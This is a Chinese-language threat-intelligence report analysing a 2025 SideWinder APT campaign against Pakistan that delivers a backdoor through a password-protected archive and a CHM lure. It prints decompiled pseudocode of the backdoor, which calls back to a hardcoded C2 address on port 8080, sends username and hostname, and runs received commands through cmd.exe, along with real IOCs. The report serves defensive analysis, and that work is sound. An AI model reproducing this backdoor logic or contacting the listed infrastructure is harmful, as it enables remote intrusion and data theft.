2025年4月:南亚APT组织SideWinder针对巴基斯坦的新一轮攻势

概述

  瑞星威胁情报中心在4月时捕获到了具有南亚背景的APT组织SideWinder针对巴基斯坦的一次网络攻击,当时正值印巴间因恐袭事件关系紧张之时,此次捕获的载荷之一也曾借恐袭事件之名进行过投递。两国之间可谓积怨已久,军事对抗也时有发生,而网络层面的对抗更是时刻都在进行,此次便是其中一次,在本次攻击中SideWinder诱导用户下载带密码的压缩包,在压缩包中包含一个恶意chm文件与恶意载荷,诱导点击chm文件从而执行恶意载荷,此类直接通过chm文件执行恶意载荷的攻击手法在其历史攻击中也是比较少见的,类似手法只在同属于南亚APT的Mysterious Elephant中有过,其运行的载荷也均为接受服务器指令并执行,只是开发语言略有区别,南亚APT组织之间的技术手法、战术战略和武器库选择经常可以发现相似之处,有时连基础设施都会发现存在共用,本次攻击可能是SideWinder对该组织的一次借鉴。

ATT&CK矩阵

战术 技术 具体行为
TA0001-初始访问 T1566-网络钓鱼 我们推断本次事件以钓鱼邮件作为传播媒介,仿冒政府官网诱导下载
TA0002-执行 T1204-用户执行 用户需要手动执行chm文件
TA0002-执行 T1059-命令和脚本解释器 EXE调用cmd.exe执行从C2下发的命令
TA0007-环境发现 T1082-收集系统信息 收集本机的MAC地址、用户名、主机名等系统信息
TA0011-指挥与控制 T1095-非应用层协议 使用TCP协议与C2服务器通信
TA0010-外传信息 T1041-通过C2通道外传 使用C2通道回传收集的系统数据

事件详情

  本次我们捕获到的初始载荷为加密压缩包CamScanner05012025-0915.rar,通过关联发现其下载域名pakistan.govpk.email与压缩包内文件CamScanner 04-21-2025 0945.chmCamScanner-04-21-2025-0945.exe,根据SideWinder的惯用手法可以合理推测其是通过投递包含压缩包密码的钓鱼邮件诱导用户下载加密压缩包,压缩包中的chm文件功能仅为执行同目录下的可执行文件,在VirusTotal上检出非常低,而可执行文件的功能也仅为接受服务器指令并执行。

攻击流程

image

样本分析

CamScanner 04-21-2025 0945.chm分析

字段 内容
原始文件名 CamScanner 04-21-2025 0945.chm
文件大小 459.04 KB (470052 bytes)
文件MD5 6b4a06c855116369d11cadcee415e422
文件类型 chm
病毒名 Trojan.MouseJack/HTML!1.BE26
主要功能 运行恶意载荷

chm文件其中的html文件功能非常简单:先是加载三张base64编码的图片诱惑受害者,之后调用ActiveX对象的点击方法运行同目录下的恶意文件CamScanner-04-21-2025-0945.exe

image

其诱饵文件内容为对巴基斯坦投递的针对性文件

image

该文件由于不具有明显的恶意代码且功能十分简单,截止发稿也仅有瑞星一家检出

image

CamScanner-04-21-2025-0945.exe分析

字段 内容
原始文件名 CamScanner-04-21-2025-0945.exe
文件大小 358.00 KB (366592 bytes)
文件MD5 515c5527a41cec1c4a8e3e8f0faf2ae4
文件类型 exe
病毒名 Backdoor.[SideWinder]Agent!1.12D17
主要功能 回连并获取后续指令

样本运行后会先初始化硬编码的IP地址151.236.21.48以便后续调用

  sub_140005D30(v115, "151.236.21.48");
  v116 = 0LL;
  v117 = 0LL;
  v118 = 0LL;
  sub_140006420(&v116, "151.236.21.48", 0xDuLL);
  v119 = 0LL;
  v120 = 0LL;
  v121 = 0LL;
  sub_140006420(&v119, "151.236.21.48", 0xDuLL);
  v134 = 0LL;
  v135 = 0LL;
  v5 = (char *)operator new(0x60uLL);
  *(_QWORD *)&v134 = v5;
  *((_QWORD *)&v134 + 1) = v5;
  v135 = v5 + 96;
  BufferCount[0] = (size_t)&v134;

之后会进入一段死循环,循环中先对硬编码IP的8080端口发起连接,成功后打印Connected to server并开始收集本机的一些信息

  while ( 1 )
  {
    v9 = (__int64)(*((_QWORD *)&v134 + 1) - v134) >> 5;
    v10 = rand();
    try
    {
      sub_140008E20(v144, v134 + 32 * (v10 % v9));
      memset(v130, 0, sizeof(v130));
      *(_QWORD *)&v102 = "8080";
      *((_QWORD *)&v102 + 1) = 4LL;
      v12 = v144;
      if ( v145 > 0xF )
        v12 = (_QWORD *)v144[0];
      *(_QWORD *)&v103 = v12;
      *((_QWORD *)&v103 + 1) = v144[2];
      *(_OWORD *)BufferCount = v102;
      *(_OWORD *)Block = v103;
      sub_14000E620(v11, v130, Block, BufferCount);
      v13 = v4 | 1;
      sub_140010330(BufferCount, v2, v130);
      sub_140008F40(&qword_140056860, "Connected to server.n");

此处先获取mac地址,不过奇怪的是此处mac地址攻击者并没有选择动态获取受害者的而是直接硬编码了一个,该地址也并未发现有什么特殊,推测可能是攻击者用于标明测试攻击的特征

      sub_140006420(v14, "mac", 3uLL);
      Block[1] = 0LL;
      *((_QWORD *)&v71 + 1) = v14;
      v72 = 0LL;
      BufferCount[0] = (size_t)&v73;
      v73 = 0uLL;
      sub_14000F550((char *)&v73 + 8, 0LL);
      LOBYTE(v73) = 3;
      *(_OWORD *)Block = 0LL;
      v15 = operator new(0x20uLL);
      Block[0] = &v126;
      Block[1] = v15;
      *(_OWORD *)v15 = 0LL;
      v15[2] = 0LL;
      v15[3] = 0LL;
      sub_140006420(v15, "00-14-22-01-23-45", 0x11uLL);
      Block[1] = 0LL;
      *((_QWORD *)&v73 + 1) = v15;

通过dupenv_s从环境变量中获取用户名

      sub_140006420(v16, "username", 8LL);
      Block[1] = 0LL;
      *((_QWORD *)&v67 + 1) = v16;
      v68 = 0LL;
      Block[0] = 0LL;
      BufferCount[0] = 0LL;
      if ( dupenv_s((char **)Block, BufferCount, "USERNAME") || !Block[0] )
      {
        v76 = 0LL;
        v77 = 0uLL;
        sub_140006420(&v76, byte_140048408, 0LL);
        v19 = v77;
        v18 = v76;
      }

通过dupenv_s从环境变量中获取主机名

      sub_140006420(v22, "hostname", 8LL);
      Block[1] = 0LL;
      *((_QWORD *)&v63 + 1) = v22;
      v64 = 0LL;
      Block[0] = 0LL;
      BufferCount[0] = 0LL;
      if ( dupenv_s((char **)Block, BufferCount, "COMPUTERNAME") || !Block[0] )
      {
        v132 = 0LL;
        v133 = 0uLL;
        sub_140006420(&v132, byte_140048408, 0LL);
        v25 = v133;
        v24 = v132;
      }

将获取的用户信息进行拼接处理之后回传C2

image

回传之后循环从c2获取后续cmd命令通过CreateProcessW创建cmd进程执行攻击者下发的指令

qmemcpy(v11, "cmd.exe /C ", 11);
  memcpy(v11 + 11, Src, v7);
  v11[v45 + 11] = 0;
  v15 = (const CHAR *)lpMultiByteStr;
  if ( si128.m128i_i64[1] > 0xFuLL )
    v15 = lpMultiByteStr[0];
  cchWideChar = MultiByteToWideChar(0xFDE9u, 0, v15, -1, 0LL, 0);
  *(_OWORD *)lpCommandLine = 0LL;
  v58 = 0LL;
  sub_140013F60(lpCommandLine, 0LL, cchWideChar);
  lpWideCharStr = (WCHAR *)lpCommandLine;
  if ( v58.m128i_i64[1] > 7uLL )
    lpWideCharStr = lpCommandLine[0];
  v18 = (const CHAR *)lpMultiByteStr;
  if ( si128.m128i_i64[1] > 0xFuLL )
    v18 = lpMultiByteStr[0];
  MultiByteToWideChar(0xFDE9u, 0, v18, -1, lpWideCharStr, cchWideChar);
  if ( si128.m128i_i64[1] > 0xFuLL )
  {
    v19 = (CHAR *)lpMultiByteStr[0];
    if ( (unsigned __int64)(si128.m128i_i64[1] + 1) >= 0x1000 )
    {
      v19 = (CHAR *)*((_QWORD *)lpMultiByteStr[0] - 1);
      if ( (unsigned __int64)(lpMultiByteStr[0] - (LPCCH)v19 - 8) > 0x1F )
        invalid_parameter_noinfo_noreturn();
    }
    j_j_free(v19);
  }
  si128 = _mm_load_si128((const __m128i *)&xmmword_14004A770);
  LOBYTE(lpMultiByteStr[0]) = 0;
  v20 = (WCHAR *)lpCommandLine;
  if ( v58.m128i_i64[1] > 7uLL )
    v20 = lpCommandLine[0];
  if ( !CreateProcessW(0LL, v20, 0LL, 0LL, 1, 0x8000000u, 0LL, 0LL, &StartupInfo, &ProcessInformation) )
  {
    CloseHandle(hWritePipe);
    CloseHandle(hReadPipe);
    *(_OWORD *)a1 = 0LL;
    a1[2] = 0LL;
    a1[3] = 0LL;
    sub_140006420(a1, "Command execution failed.", 0x19uLL);
    if ( v58.m128i_i64[1] <= 7uLL )

该恶意载荷截止发稿也仅有4家检出

image

关联分析

  我们发现此次攻击最终投递的恶意载荷可能不仅仅用于一次攻击中,从其上传名称来看还使用过PIMEC_Meeting.exeUpdateOnPahalgamAttachIIOJK.exe等名称进行过投递,这两个名称一个与巴基斯坦国际海事博览会暨会议(PIMEC)相关,一个与印控克什米尔发生的恐袭事件有关。

image

结合其不同文件名的上传地所看该载荷极有可能也曾借巴基斯坦国际海事博览会暨会议(PIMEC)之名对斯里兰卡发起过攻击,也符合SideWinder的攻击方向。

image

总结

  此次攻击者通过伪装为巴基斯坦官方网站的域名pakistan.govpk.email进行初始的载荷投递,并且后续接收指令的C2服务器(151.236.21.48)与此前其他厂商披露过的一批SideWinder的C2归属于同一C段,注册商均为HOSTINGER其也是SideWinder所偏好的注册商之一,此次攻击中使用的c2可能是攻击者此前大规模注册的一批基础设施之一,且其投递初始载荷的伪装域名也和SideWinder所偏好使用的特征相符,其善于使用攻击目标相关的官方网站作为关键字构造域名,此次事件中使用的pakistan.govpk.email便是由巴基斯坦官方域名pakistan.gov.pk构造而来的,所以虽然其本次攻击中使用的初始载荷特征与Mysterious Elephant组织类似,但是考虑到此类攻击方法十分容易模仿,我们在结合基础设施特征与其样本上传地及对应文件名综合考虑后还是将其归因为SideWinder

  此次SideWinder的攻击手法并没有使用之前惯用的直接投递漏洞利用文档或包含恶意lnk的压缩包,其在此次攻击中有意模仿Mysterious Elephant组织的手法,后续载荷虽然与Mysterious Elephant组织投递的载荷开发语言不一样但是功能上看也均为简单的命令执行,此次行动可能只是其在发起新一轮攻击前的测试行动,我们后续也会继续跟踪观察其动态探寻其是否与Mysterious Elephant组织存在进一步的关联。

攻击过程可视化(EDR)

image

预防措施

  1. 不打开可疑文件。

    不打开未知来源的可疑的文件和邮件,防止社会工程学和钓鱼攻击。

  2. 部署网络安全态势感知、预警系统等网关安全产品。

    网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。

  3. 安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。

    杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。
    瑞星ESM目前已经可以检出此次攻击事件的相关样本

image

沦陷信标(IOC)

  • MD5

    6b4a06c855116369d11cadcee415e422
    356933fbc9442ca4ffc417916a3d7a4e
    515c5527a41cec1c4a8e3e8f0faf2ae4
  • URL

    hxxps://pakistan.govpk.email/e-office/download/CamScanner05012025-0915.rar
  • Domain

    pakistan.govpk.email
  • IPV4

    151.236.21.48
  • 瑞星病毒名

    Backdoor.[SideWinder]Agent!1.12D17

Author

Comments

No comments yet. Why don’t you start the discussion?

Leave a Reply

Your email address will not be published. Required fields are marked *